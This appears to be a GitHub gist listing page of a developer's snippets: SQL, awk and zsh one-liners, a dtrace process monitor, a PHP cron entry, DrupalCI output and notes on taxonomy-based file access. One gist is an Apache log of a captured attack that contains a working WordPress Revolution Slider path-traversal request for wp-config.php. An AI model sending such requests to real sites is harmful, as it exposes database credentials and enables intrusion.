Skip to content

Instantly share code, notes, and snippets.

SELECT
*,
(DistinctClicks / DistinctViews) AS DCTR,
(TotalClicks / TotalViews) AS TCTR
FROM
(
SELECT
n.nid,
n.title,
FROM_UNIXTIME(a.autoexpire) AS Expires,
@ryanaslett
ryanaslett / Awk
Last active August 29, 2015 14:02
Awk funz
# Grabs the third field ($3) in a file, counts how many times that field occurs and outputs it in numeric order.
# This is pretty much the equivalent to a sql statement like the following:
# SELECT COUNT(*) as ROWS, `Third field` FROM `file` GROUP BY `Third field` ORDER BY `ROWS` ASC
awk '{ x[$3]++ } END { for (i in x) print x[i] ":" i }' file |sort -n
@ryanaslett
ryanaslett / Git history
Created June 11, 2014 18:23
I have my bash history set to keep 100000 entries. At about the 30,000 mark I decided to see what I use git for. Here's the awk script that does it.
history | awk '$4 ~ /^git/ { x[$4 " " $5]++ } END { for (i in x) print x[i] ":" i }' |sort -n
#!/usr/sbin/dtrace -C -s
#pragma D option quiet
proc::posix_spawn:exec-success,proc::__mac_execve:exec-success
{
this->isx64=(curproc->p_flag & P_LP64)!=0;
#define SELECT_64_86(x64, x86) (this->isx64 ? (x64) : (x86))
#define GET_POINTER(base, offset) (user_addr_t)SELECT_64_86(*(uint64_t*)((base)+sizeof(uint64_t)*(offset)), *(uint32_t*)((base)+sizeof(uint32_t)*(offset)))
@ryanaslett
ryanaslett / redo
Created September 29, 2014 22:06
History -> execution using peco and zsh.
awk '{FS=";"}{print $2}' ~/.zsh_history |peco |zsh
#!/usr/sbin/dtrace -C -s
#pragma D option quiet
proc::posix_spawn:exec-success,proc::__mac_execve:exec-success
{
this->isx64=(curproc->p_flag & P_LP64)!=0;
#define SELECT_64_86(x64, x86) (this->isx64 ? (x64) : (x86))
#define GET_POINTER(base, offset) (user_addr_t)SELECT_64_86(*(uint64_t*)((base)+sizeof(uint64_t)*(offset)), *(uint32_t*)((base)+sizeof(uint32_t)*(offset)))
@ryanaslett
ryanaslett / apachelogfile
Created December 5, 2014 00:45
Here's how hackers hack
188.159.172.201 - - [29/Nov/2014:10:36:23 -0800] "GET /wp-content/plugins/revslider/inc_php/framework/ HTTP/1.1" 200 4572 "http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=294&cad=rja&uact=8&ved=0CC0QFjADOKIC&url=http%3A%2F%2Fwww.pgc3.org%2Fwp-content%2Fplugins%2Frevslider%2Finc_php%2Fframework%2F&ei=HRJ6VLXWH_SS7AaxnICgBA&usg=AFQjCNFDcpsOLNhF5DHkYd9KiHRzN0dLhA&bvm=bv.80642063,d.bGQ" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:36:23 -0800] "GET /favicon.ico HTTP/1.1" 200 268 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:37:13 -0800] "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 200 4160 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:40:29 -0800] "GET /dh_phpmyadmin/mysql.thevictim.com/ HTTP/1.1" 301 567 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Ge
@ryanaslett
ryanaslett / gist:4d9a9d9ea63e781f44a8
Last active August 29, 2015 14:14
Interacting with data by Taxonomic context.
In my OS, When I want to access data relating to my car, I want to go into "Car" Context, and see every datapoint, regardless of datatype that fits into the "Car" context. Like a dashboard based on taxonomic context.
Files, regardless of format:
Scanned title
Insurance information
Photos of car/with car in it.
Copies of receipts for maintenance log
Communications:
Emails, Texts, IMs from insurance company, mechanic, buyers, sellers.
Contact information for Insurance company, mechanic (vCards)
Notifications - pending calendar events, expiring tags, etc.
# /etc/cron.d/php5: crontab fragment for php5
# This purges session files older than X, where X is defined in seconds
# as the largest value of session.gc_maxlifetime from all your php.ini
# files, or 24 minutes if not defined. See /usr/lib/php5/maxlifetime
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5
$(/usr/lib/php5/maxlifetime)
root@ip-172-31-42-73:/opt/drupalci_testbot# ./drupalci run simpletest
Calculating job definition
Loading DrupalCI platform default arguments:
DCI_CodeBase
Loading job type default arguments:
DCI_DBVersion,DCI_PHPVersion,DCI_CoreRepository,DCI_CoreBranch,DCI_GitCheckoutDepth,DCI_RunScript,DCI_DBUser,DCI_DBPassword,DCI_DBURL,DCI_TESTGROUPS,DCI_SQLite,DCI_Concurrency,DCI_XMLOutput,DCI_PHPInterpreter
Loading local DrupalCI environment config override arguments.
DCI_Concurrency
Creating codebase data volume directory
Checkout directory created at /tmp/simpletest-9h4j4x